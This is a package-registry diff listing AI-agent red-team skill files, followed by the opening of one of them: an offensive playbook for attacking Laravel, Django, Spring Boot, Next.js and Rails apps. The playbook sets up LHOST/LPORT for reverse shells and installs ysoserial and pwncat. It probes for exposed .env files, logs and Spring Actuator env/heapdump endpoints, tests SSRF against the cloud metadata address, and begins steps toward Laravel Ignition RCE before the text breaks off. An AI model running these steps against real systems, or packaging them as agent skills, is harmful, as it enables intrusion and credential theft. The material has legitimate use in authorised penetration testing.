rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,967 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-frameworks
|
|
3
|
+
description: "Framework-specific web attack skill. Covers Laravel (debug mode, mass assignment, .env exposure, file upload bypass), Django (debug mode, admin enumeration, SSTI in templates), Spring Boot (Actuator endpoints, Spring4Shell, Spring Security bypass), Next.js (middleware bypass, SSRF), and Ruby on Rails (mass assignment, YAML deserialization, SQL injection via ActiveRecord)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-frameworks — Framework-Specific Web Attack Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
Modern web applications are built on opinionated frameworks that introduce their own unique attack surfaces: framework-specific debug modes, ORM quirks, built-in serialization, configuration exposure endpoints, and middleware assumptions. A skilled red team operator exploits these framework-native weaknesses rather than relying solely on generic web vulnerabilities.
|
|
11
|
+
|
|
12
|
+
Use this skill when:
|
|
13
|
+
- Target fingerprinting reveals a known framework (Laravel, Django, Spring Boot, Next.js, Ruby on Rails)
|
|
14
|
+
- You observe framework-specific error messages, headers (`X-Powered-By`, stack traces), or URL patterns
|
|
15
|
+
- Scope includes API backends, admin panels, or microservices built on these stacks
|
|
16
|
+
- You have identified debug/development mode active in production
|
|
17
|
+
- Mass assignment, deserialization, or SSTI vectors are suspected
|
|
18
|
+
- Actuator or management endpoints are exposed (Spring Boot)
|
|
19
|
+
- You need to chain framework weaknesses into full compromise
|
|
20
|
+
|
|
21
|
+
### Attack Surface Map
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
Laravel
|
|
25
|
+
├── .env exposure → DB credentials, APP_KEY, secrets
|
|
26
|
+
├── Debug mode (APP_DEBUG=true) → Stack traces, RCE via Ignition (__destruct chains)
|
|
27
|
+
├── Mass Assignment → Privilege escalation via fillable model fields
|
|
28
|
+
├── File Upload Bypass → Webshell via MIME/extension confusion
|
|
29
|
+
└── Deserialization (Laravel < 8) → RCE via gadget chains
|
|
30
|
+
|
|
31
|
+
Django
|
|
32
|
+
├── DEBUG=True → Settings dump, SQL queries, internal paths
|
|
33
|
+
├── Admin enumeration → /admin/ bruteforce, username timing oracle
|
|
34
|
+
├── SSTI in templates → RCE if user input reaches render() unsanitized
|
|
35
|
+
├── CSRF bypass → Forced state change on authed sessions
|
|
36
|
+
└── Insecure Direct Object Ref → Model .filter() with untrusted input
|
|
37
|
+
|
|
38
|
+
Spring Boot
|
|
39
|
+
├── Actuator endpoints → /actuator/env, /actuator/heapdump, /actuator/mappings
|
|
40
|
+
├── Spring4Shell (CVE-2022-22965) → ClassLoader manipulation → RCE
|
|
41
|
+
├── Spring Security bypass → Trailing slash, null byte, path normalization
|
|
42
|
+
├── SpEL injection → RCE via Spring Expression Language in annotations
|
|
43
|
+
└── Deserialization (Java) → ysoserial gadget chains via remoting protocols
|
|
44
|
+
|
|
45
|
+
Next.js
|
|
46
|
+
├── Middleware bypass → CVE-2025-29927, x-middleware-subrequest header
|
|
47
|
+
├── SSRF via getServerSideProps → Server-side fetches to internal services
|
|
48
|
+
├── Path traversal in API routes → Misconfigured catch-all routes
|
|
49
|
+
└── Environment variable leakage → NEXT_PUBLIC_ prefix bypasses server/client boundary
|
|
50
|
+
|
|
51
|
+
Ruby on Rails
|
|
52
|
+
├── Mass Assignment → attr_accessible bypass, strong_parameters gap
|
|
53
|
+
├── YAML deserialization → RCE via Marshal/YAML on untrusted cookies/params
|
|
54
|
+
├── SQL injection via ActiveRecord → string interpolation in .where() clauses
|
|
55
|
+
├── Path traversal → send_file() with user-controlled filename
|
|
56
|
+
└── CSRF token bypass → Null origin, same-site confusion
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## 2. Prerequisites and Setup
|
|
62
|
+
|
|
63
|
+
### Required Tools
|
|
64
|
+
|
|
65
|
+
```bash
|
|
66
|
+
# Core HTTP tools
|
|
67
|
+
sudo apt install curl wget burpsuite
|
|
68
|
+
|
|
69
|
+
# ffuf — framework-aware fuzzing
|
|
70
|
+
sudo apt install ffuf
|
|
71
|
+
|
|
72
|
+
# nuclei — template-based framework detection and vuln scanning
|
|
73
|
+
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
|
74
|
+
# Download framework-specific templates
|
|
75
|
+
nuclei -update-templates
|
|
76
|
+
|
|
77
|
+
# wfuzz — parameter and path fuzzing
|
|
78
|
+
pip3 install wfuzz
|
|
79
|
+
|
|
80
|
+
# ysoserial — Java deserialization payloads (Spring Boot)
|
|
81
|
+
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O /opt/ysoserial.jar
|
|
82
|
+
|
|
83
|
+
# gron — flatten JSON (useful for parsing /actuator/env output)
|
|
84
|
+
sudo apt install gron
|
|
85
|
+
|
|
86
|
+
# hakrawler — crawl Next.js/Rails/Django apps for routes
|
|
87
|
+
go install github.com/hakluke/hakrawler@latest
|
|
88
|
+
|
|
89
|
+
# python3 tooling
|
|
90
|
+
pip3 install requests httpx pwncat-cs
|
|
91
|
+
|
|
92
|
+
# katana — active crawler with JS parsing (Next.js)
|
|
93
|
+
go install github.com/projectdiscovery/katana/cmd/katana@latest
|
|
94
|
+
|
|
95
|
+
# ruby exploit helpers (local Rails testing)
|
|
96
|
+
gem install bundler
|
|
97
|
+
|
|
98
|
+
# httpx — fast HTTP probing with framework detection
|
|
99
|
+
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
|
100
|
+
|
|
101
|
+
# whatweb — framework fingerprinting
|
|
102
|
+
sudo apt install whatweb
|
|
103
|
+
|
|
104
|
+
# nmap with http-enum script
|
|
105
|
+
sudo apt install nmap
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Environment Setup
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
# Create engagement workspace
|
|
112
|
+
mkdir -p ~/engagements/$TARGET/{recon,exploits,loot,screenshots}
|
|
113
|
+
export TARGET="target.com"
|
|
114
|
+
export LHOST="10.10.14.5" # Your attack box IP
|
|
115
|
+
export LPORT="4444"
|
|
116
|
+
export WORDLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt"
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## 3. Skill Levels
|
|
122
|
+
|
|
123
|
+
### BEGINNER — Detection and Passive Exploitation
|
|
124
|
+
|
|
125
|
+
**Goal:** Fingerprint frameworks, collect low-hanging fruit, identify debug modes and config exposure.
|
|
126
|
+
|
|
127
|
+
Techniques:
|
|
128
|
+
- Framework fingerprinting via headers, error pages, URL patterns
|
|
129
|
+
- .env file exposure enumeration
|
|
130
|
+
- Django /admin/ enumeration
|
|
131
|
+
- Spring Boot Actuator discovery
|
|
132
|
+
- Nuclei template scanning
|
|
133
|
+
|
|
134
|
+
### INTERMEDIATE — Active Exploitation of Known Weaknesses
|
|
135
|
+
|
|
136
|
+
**Goal:** Exploit mass assignment, SSTI, path traversal, and Actuator data extraction for credentials.
|
|
137
|
+
|
|
138
|
+
Techniques:
|
|
139
|
+
- Laravel mass assignment via API parameter injection
|
|
140
|
+
- Django SSTI in custom template tags
|
|
141
|
+
- Spring Boot /actuator/env credential extraction and /actuator/heapdump analysis
|
|
142
|
+
- Next.js middleware bypass (CVE-2025-29927)
|
|
143
|
+
- Rails SQL injection via ActiveRecord string interpolation
|
|
144
|
+
|
|
145
|
+
### ADVANCED — RCE and Chain Attacks
|
|
146
|
+
|
|
147
|
+
**Goal:** Achieve remote code execution through framework-native vectors, chain findings for full compromise.
|
|
148
|
+
|
|
149
|
+
Techniques:
|
|
150
|
+
- Laravel Ignition RCE (CVE-2021-3129) via debug mode log poisoning
|
|
151
|
+
- Django SSTI to OS command execution
|
|
152
|
+
- Spring4Shell (CVE-2022-22965) exploitation
|
|
153
|
+
- Spring Boot heapdump credential extraction with jhat/Eclipse MAT
|
|
154
|
+
- Rails YAML deserialization RCE
|
|
155
|
+
|
|
156
|
+
### EXPERT — Post-Auth Escalation, Novel Chaining, CI/CD Pivot
|
|
157
|
+
|
|
158
|
+
**Goal:** Leverage framework internals for privilege escalation, lateral movement, and persistent access.
|
|
159
|
+
|
|
160
|
+
Techniques:
|
|
161
|
+
- Laravel APP_KEY extraction → Forge signed cookies → Admin takeover
|
|
162
|
+
- Django SECRET_KEY extraction → Session forgery → Admin RCE via admin command execution
|
|
163
|
+
- Spring Boot /actuator/gateway route manipulation to proxy internal traffic
|
|
164
|
+
- Next.js SSRF via getServerSideProps chained into cloud metadata retrieval
|
|
165
|
+
- Rails mass assignment on Devise model to set admin: true or confirmed_at bypass
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## 4. Step-by-Step Attack Workflow
|
|
170
|
+
|
|
171
|
+
### Phase 1 — Framework Fingerprinting
|
|
172
|
+
|
|
173
|
+
**Step 1: Passive fingerprinting**
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# WhatWeb fingerprint
|
|
177
|
+
whatweb -v https://$TARGET
|
|
178
|
+
|
|
179
|
+
# Check response headers
|
|
180
|
+
curl -sI https://$TARGET | grep -iE "(x-powered-by|server|x-generator|x-runtime|x-frame)"
|
|
181
|
+
|
|
182
|
+
# Nuclei framework detection
|
|
183
|
+
nuclei -u https://$TARGET -tags tech -silent
|
|
184
|
+
|
|
185
|
+
# httpx with tech detection
|
|
186
|
+
echo $TARGET | httpx -tech-detect -status-code -title -silent
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
**Step 2: Framework-specific URL probing**
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# Laravel indicators
|
|
193
|
+
curl -sk https://$TARGET/.env
|
|
194
|
+
curl -sk https://$TARGET/storage/logs/laravel.log | tail -100
|
|
195
|
+
curl -sk https://$TARGET/api/user # Sanctum/Passport auth test
|
|
196
|
+
|
|
197
|
+
# Django indicators
|
|
198
|
+
curl -sk https://$TARGET/admin/
|
|
199
|
+
curl -sk https://$TARGET/admin/login/
|
|
200
|
+
curl -sk https://$TARGET/__debug__/ # django-debug-toolbar
|
|
201
|
+
|
|
202
|
+
# Spring Boot Actuator
|
|
203
|
+
for ep in health info env beans mappings heapdump logfile metrics httptrace; do
|
|
204
|
+
echo "[$ep]: $(curl -sk https://$TARGET/actuator/$ep | head -c 200)"
|
|
205
|
+
echo "---"
|
|
206
|
+
done
|
|
207
|
+
|
|
208
|
+
# Next.js indicators
|
|
209
|
+
curl -sk https://$TARGET/_next/static/chunks/main.js | grep -o '"version":"[^"]*"' | head -3
|
|
210
|
+
curl -sk "https://$TARGET/_next/image?url=http://169.254.169.254/" # SSRF test
|
|
211
|
+
|
|
212
|
+
# Rails indicators
|
|
213
|
+
curl -sI https://$TARGET | grep -i "x-runtime" # Ruby runtime header
|
|
214
|
+
curl -sk https://$TARGET/rails/info/properties # Only in dev mode
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
**Step 3: Error page analysis**
|
|
218
|
+
|
|
219
|
+
```bash
|
|
220
|
+
# Trigger 404s and observe stack traces
|
|
221
|
+
curl -sk "https://$TARGET/DOESNOTEXIST_$(date +%s)"
|
|
222
|
+
curl -sk "https://$TARGET/api/DOESNOTEXIST"
|
|
223
|
+
|
|
224
|
+
# Trigger errors with malformed input
|
|
225
|
+
curl -sk "https://$TARGET/api/user" -d "test=<invalid>"
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
### Phase 2 — Laravel Exploitation
|
|
231
|
+
|
|
232
|
+
**Step 4: .env and configuration exposure**
|
|
233
|
+
|
|
234
|
+
```bash
|
|
235
|
+
# Direct .env access (misconfigured nginx/apache without deny rules)
|
|
236
|
+
curl -sk https://$TARGET/.env
|
|
237
|
+
curl -sk https://$TARGET/.env.backup
|
|
238
|
+
curl -sk https://$TARGET/.env.production
|
|
239
|
+
curl -sk https://$TARGET/public/.env
|
|
240
|
+
|
|
241
|
+
# Laravel log exposure
|
|
242
|
+
ffuf -u "https://$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
|
|
243
|
+
-mc 200 -fc 301 -fs 0 -o laravel-files.json
|
|
244
|
+
|
|
245
|
+
# Storage directory listing
|
|
246
|
+
curl -sk https://$TARGET/storage/
|
|
247
|
+
curl -sk https://$TARGET/storage/logs/laravel.log
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
**Step 5: Laravel debug mode RCE (CVE-2021-3129)**
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
# Check if Ignition is active
|
|
254
|
+
curl -sk https://$TARGET/_ignition/health-check
|
|
255
|
+
|
|
256
|
+
# Clone exploit
|
|
257
|
+
